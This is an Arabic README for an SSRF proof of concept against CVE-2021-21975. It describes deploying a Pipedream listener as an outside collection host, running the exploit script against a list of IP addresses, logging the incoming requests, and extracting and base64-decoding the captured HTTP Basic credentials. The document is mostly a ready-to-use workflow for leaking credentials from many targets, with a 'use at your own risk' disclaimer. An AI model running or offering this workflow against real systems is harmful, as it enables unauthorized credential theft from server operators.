CVE-2021-21975

SSRF-POC - ssrf إلى تسريب بيانات الاعتماد

أولاً، قم بتكوين عميل pd.

الآن قم بتشغيل ./pd deploy http-new-requests

الآن استبدل طلب HTTP الخاص بـ pipedream مثل: Randomstring.m.pipedream.net في البرنامج النصي

شغّل هذا في طرفية منفصلة - ./pd logs new-requests | tee -a req.txt

والآن شغّل هذا في طرفية أخرى - python3 CVE-2021-21975.py iplist

cat req.txt | grep Basic > basic.txt; cat basic.txt | sort --unique > basic_uniq.txt ; base64 -d basic_uniq.txt

"هذا دليل إثبات مبكر تم إنشاؤه عندما أصبح الثغرة عامة قبل أشهر، لذا استخدمه على مسؤوليتك الخاصة." :V

شكر وتقدير

@wabaf3t @D0rkerDevil